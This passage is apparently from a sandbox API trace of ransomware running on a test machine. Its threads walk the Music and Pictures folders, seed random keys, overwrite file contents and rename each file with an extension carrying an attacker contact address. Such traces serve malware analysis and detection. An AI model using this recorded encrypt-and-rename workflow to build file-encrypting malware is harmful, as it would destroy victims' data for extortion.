Size=0x1d) returned 0x95d0218 [0062.501] SetFilePointerEx (in: hFile=0x1184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.501] WriteFile (in: hFile=0x1184, lpBuffer=0x44b8c0*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x9adfb1c, lpOverlapped=0x0 | out: lpBuffer=0x44b8c0*, lpNumberOfBytesWritten=0x9adfb1c*=0x101, lpOverlapped=0x0) returned 1 [0062.840] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44b8c0) returned 1 [0063.381] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d01f0) returned 1 [0063.381] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d05b0) returned 1 [0063.381] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0218) returned 1 [0063.381] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0100) returned 1 [0063.381] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf708) returned 1 [0063.381] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf7a8) returned 1 [0063.381] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf7d0) returned 1 [0063.381] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40d460 [0063.381] wcscpy (in: _Dest=0x40d460, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\SEK1.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\SEK1.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\SEK1.m4a" [0063.381] wcscat (in: _Dest=0x40d460, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\SEK1.m4a.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\SEK1.m4a.mailto[2Hamlampampom@cock.li].cd46d" [0063.381] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\SEK1.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x9adfad4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\SEK1.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.381] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe2) returned 0x97ad090 [0063.383] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ad090) returned 1 [0063.383] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48dfe0) returned 1 [0063.383] NtQueryInformationFile (in: FileHandle=0x1184, IoStatusBlock=0x9adfae0, FileInformation=0x9adfab8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x9adfae0, FileInformation=0x9adfab8) returned 0x0 [0063.383] NtSetInformationFile (FileHandle=0x1184, IoStatusBlock=0x9adfae0, FileInformation=0x9adfab8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.384] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d460) returned 1 [0063.384] FlushFileBuffers (hFile=0x1184) returned 1 [0066.222] CloseHandle (hObject=0x1184) Thread: id = 1129 os_tid = 0xb0c [0059.540] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\ZsH9w21fY.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\6sug7z_-\\zsh9w21fy.mp3")) returned 0x20 [0059.541] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\ZsH9w21fY.mp3", dwFileAttributes=0x20) returned 1 [0059.541] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\ZsH9w21fY.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\6sug7z_-\\zsh9w21fy.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1188 [0059.541] GetFileSizeEx (in: hFile=0x1188, lpFileSize=0xa8eff04 | out: lpFileSize=0xa8eff04*=83347) returned 1 [0059.541] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x1458f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.541] ReadFile (in: hFile=0x1188, lpBuffer=0xa8efe88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa8efe84, lpOverlapped=0x0 | out: lpBuffer=0xa8efe88*, lpNumberOfBytesRead=0xa8efe84*=0x4, lpOverlapped=0x0) returned 1 [0059.542] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.542] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf5f0 [0059.542] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf780 [0059.542] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf7f8 [0059.542] NtQuerySystemTime (in: CurrentTime=0xa8efe64 | out: CurrentTime=0xa8efe64*=132174898235220000) returned 0x0 [0059.542] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x28b9af84 [0059.542] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x2e56d8c6 [0059.542] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x78f07714 [0059.542] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x48d0aa5a [0059.542] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x43957db9 [0059.542] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x49af42c3 [0059.542] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x3ac5c023 [0059.542] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x3f82f8dc [0059.542] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x6de77094 [0059.542] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x423ad122 [0059.542] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x61da7a94 [0059.542] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x5dfcd0b5 [0059.542] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x7090bae8 [0059.542] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x1e55829d [0059.543] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x3052b61f [0059.543] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x6dea132a [0059.543] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x2464bd6d [0059.543] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x5ab28dd7 [0059.543] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x7f17a04a [0059.543] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x24ba6eed [0059.543] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x38a499d5 [0059.543] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x2590aaad [0059.543] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x71427437 [0059.543] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x152f1d53 [0059.543] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x73f829fd [0059.543] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x70eaae14 [0059.543] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x35b401d [0059.543] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x1d706107 [0059.543] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x5867c4e2 [0059.543] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x2994fcad [0059.543] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x3708a224 [0059.543] RtlRandomEx (in: Seed=0xa8efe70 | out: Seed=0xa8efe70) returned 0x5eb6482b [0059.594] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.594] ReadFile (in: hFile=0x1188, lpBuffer=0x195e30f8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa8efe44, lpOverlapped=0x0 | out: lpBuffer=0x195e30f8*, lpNumberOfBytesRead=0xa8efe44*=0xc800, lpOverlapped=0x0) returned 1 [0059.594] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.595] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c168 [0059.595] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4371c0 [0059.595] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf5f0 [0059.595] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf5f0) returned 1 [0059.596] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x195ef900 [0059.597] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf5f0 [0059.597] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf7f8 [0059.597] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf7f8) returned 1 [0059.597] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4371c0) returned 1 [0059.597] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c168) returned 1 [0059.597] WriteFile (in: hFile=0x1188, lpBuffer=0x195ef900*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa8efe44, lpOverlapped=0x0 | out: lpBuffer=0x195ef900*, lpNumberOfBytesWritten=0xa8efe44*=0xc800, lpOverlapped=0x0) returned 1 [0062.503] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195ef900) returned 1 [0062.503] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195e30f8) returned 1 [0062.503] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x4e0360 [0062.503] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.503] WriteFile (in: hFile=0x1188, lpBuffer=0x12d7d688*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xa8efec4, lpOverlapped=0x0 | out: lpBuffer=0x12d7d688*, lpNumberOfBytesWritten=0xa8efec4*=0x10b, lpOverlapped=0x0) returned 1 [0062.841] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d688) returned 1 [0062.841] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e02d0) returned 1 [0062.841] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d06a0) returned 1 [0062.841] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0360) returned 1 [0062.841] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf5f0) returned 1 [0062.841] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf780) returned 1 [0062.841] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf820) returned 1 [0062.841] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf848) returned 1 [0062.841] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x4d41c0 [0062.841] wcscpy (in: _Dest=0x4d41c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\ZsH9w21fY.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\ZsH9w21fY.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\ZsH9w21fY.mp3" [0062.841] wcscat (in: _Dest=0x4d41c0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\ZsH9w21fY.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\ZsH9w21fY.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0062.841] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\ZsH9w21fY.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xa8efe7c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-\\ZsH9w21fY.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.841] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xec) returned 0x4de5d0 [0062.985] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de5d0) returned 1 [0062.985] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1f0c8) returned 1 [0062.985] NtQueryInformationFile (in: FileHandle=0x1188, IoStatusBlock=0xa8efe88, FileInformation=0xa8efe60, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa8efe88, FileInformation=0xa8efe60) returned 0x0 [0062.985] NtSetInformationFile (FileHandle=0x1188, IoStatusBlock=0xa8efe88, FileInformation=0xa8efe60, Length=0x28, FileInformationClass=0x4) returned 0x0 [0062.986] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d41c0) returned 1 [0062.986] FlushFileBuffers (hFile=0x1188) returned 1 [0066.207] CloseHandle (hObject=0x1188) Thread: id = 1130 os_tid = 0xb10 [0059.597] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x420e78 [0059.597] wcscpy (in: _Dest=0x420e78, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo" [0059.597] wcscat (in: _Dest=0x420e78, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\" [0059.597] wcscat (in: _Dest=0x420e78, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\*" [0059.597] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458e28 [0059.597] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\*", lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97faf290, ftCreationTime.dwHighDateTime=0x1d4cc51, ftLastAccessTime.dwLowDateTime=0x674bc0c0, ftLastAccessTime.dwHighDateTime=0x1d4d435, ftLastWriteTime.dwLowDateTime=0x674bc0c0, ftLastWriteTime.dwHighDateTime=0x1d4d435, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a368 [0059.598] wcscmp (_String1=".", _String2=".") returned 0 [0059.598] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97faf290, ftCreationTime.dwHighDateTime=0x1d4cc51, ftLastAccessTime.dwLowDateTime=0x674bc0c0, ftLastAccessTime.dwHighDateTime=0x1d4d435, ftLastWriteTime.dwLowDateTime=0x674bc0c0, ftLastWriteTime.dwHighDateTime=0x1d4d435, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.598] wcscmp (_String1="..", _String2=".") returned 1 [0059.598] wcscmp (_String1="..", _String2="..") returned 0 [0059.598] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28370c00, ftCreationTime.dwHighDateTime=0x1d4c8e1, ftLastAccessTime.dwLowDateTime=0xe6ca1750, ftLastAccessTime.dwHighDateTime=0x1d4c54b, ftLastWriteTime.dwLowDateTime=0xe6ca1750, ftLastWriteTime.dwHighDateTime=0x1d4c54b, nFileSizeHigh=0x0, nFileSizeLow=0x10be0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iUAoP5uoFI2.png", cAlternateFileName="IUAOP5~1.PNG")) returned 1 [0059.598] wcscmp (_String1="iUAoP5uoFI2.png", _String2=".") returned 1 [0059.598] wcscmp (_String1="iUAoP5uoFI2.png", _String2="..") returned 1 [0059.598] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x4165d0 [0059.598] wcscpy (in: _Dest=0x4165d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo" [0059.598] wcscat (in: _Dest=0x4165d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\" [0059.598] wcscat (in: _Dest=0x4165d0, _Source="iUAoP5uoFI2.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\iUAoP5uoFI2.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\13eo\\iUAoP5uoFI2.png" Thread: id = 1131 os_tid = 0xbb0 [0059.598] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\3UnBV.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gyqji\\3unbv.jpg")) returned 0x20 [0059.598] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\3UnBV.jpg", dwFileAttributes=0x20) returned 1 [0059.599] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\3UnBV.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gyqji\\3unbv.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1190 [0059.599] GetFileSizeEx (in: hFile=0x1190, lpFileSize=0xba8fa24 | out: lpFileSize=0xba8fa24*=48206) returned 1 [0059.599] SetFilePointerEx (in: hFile=0x1190, liDistanceToMove=0xbc4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.599] ReadFile (in: hFile=0x1190, lpBuffer=0xba8f9a8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xba8f9a4, lpOverlapped=0x0 | out: lpBuffer=0xba8f9a8*, lpNumberOfBytesRead=0xba8f9a4*=0x4, lpOverlapped=0x0) returned 1 [0059.600] SetFilePointerEx (in: hFile=0x1190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.600] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce0a0 [0059.600] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce0c8 [0059.600] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce0f0 [0059.600] NtQuerySystemTime (in: CurrentTime=0xba8f984 | out: CurrentTime=0xba8f984*=132174898235844000) returned 0x0 [0059.600] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x581b1ab6 [0059.600] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0xefd3ee9 [0059.600] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x6219db64 [0059.600] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x1a2f318f [0059.600] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x4ecf8cd2 [0059.600] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x59e6e2e5 [0059.600] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x5b7f2ac4 [0059.600] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x24b80cff [0059.600] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x4661e8d9 [0059.600] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x309d8fb [0059.600] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x248f962d [0059.600] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0xc464c1e [0059.600] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x7dd9b471 [0059.600] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x3de4c1d1 [0059.600] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x6be8959 [0059.600] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x3bcbcca1 [0059.601] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x67e0f594 [0059.601] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x44c73929 [0059.601] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x3cbaac44 [0059.601] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x41d08382 [0059.601] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x69a5781 [0059.601] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x23babd3a [0059.601] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x61c2fb0c [0059.601] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x2f6e314a [0059.601] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x2d17ac13 [0059.601] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x5cee2c88 [0059.601] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x6d0710d0 [0059.601] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x5687262d [0059.601] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x778cad4f [0059.601] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x61540565 [0059.601] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x46c72b01 [0059.601] RtlRandomEx (in: Seed=0xba8f990 | out: Seed=0xba8f990) returned 0x18ea8062 [0059.614] ReadFile (in: hFile=0x1190, lpBuffer=0x12dab810, nNumberOfBytesToRead=0xbc4e, lpNumberOfBytesRead=0xba8f980, lpOverlapped=0x0 | out: lpBuffer=0x12dab810*, lpNumberOfBytesRead=0xba8f980*=0xbc4e, lpOverlapped=0x0) returned 1 [0059.615] SetFilePointerEx (in: hFile=0x1190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.615] WriteFile (in: hFile=0x1190, lpBuffer=0x12db8018*, nNumberOfBytesToWrite=0xbc4e, lpNumberOfBytesWritten=0xba8f97c, lpOverlapped=0x0 | out: lpBuffer=0x12db8018*, lpNumberOfBytesWritten=0xba8f97c*=0xbc4e, lpOverlapped=0x0) returned 1 [0062.505] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d05d8 [0062.505] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0600 [0062.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0600) returned 1 [0062.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12db8018) returned 1 [0062.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12dab810) returned 1 [0062.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4371c0) returned 1 [0062.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c168) returned 1 [0062.505] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f) returned 0x95d0600 [0062.505] SetFilePointerEx (in: hFile=0x1190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.505] WriteFile (in: hFile=0x1190, lpBuffer=0x12e2bcc0*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0xba8f9e4, lpOverlapped=0x0 | out: lpBuffer=0x12e2bcc0*, lpNumberOfBytesWritten=0xba8f9e4*=0x103, lpOverlapped=0x0) returned 1 [0062.842] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e2bcc0) returned 1 [0063.384] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d07e0) returned 1 [0063.384] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0628) returned 1 [0063.384] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0600) returned 1 [0063.384] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d05d8) returned 1 [0063.384] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce0c8) returned 1 [0063.384] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce118) returned 1 [0063.384] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce140) returned 1 [0063.384] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e02960 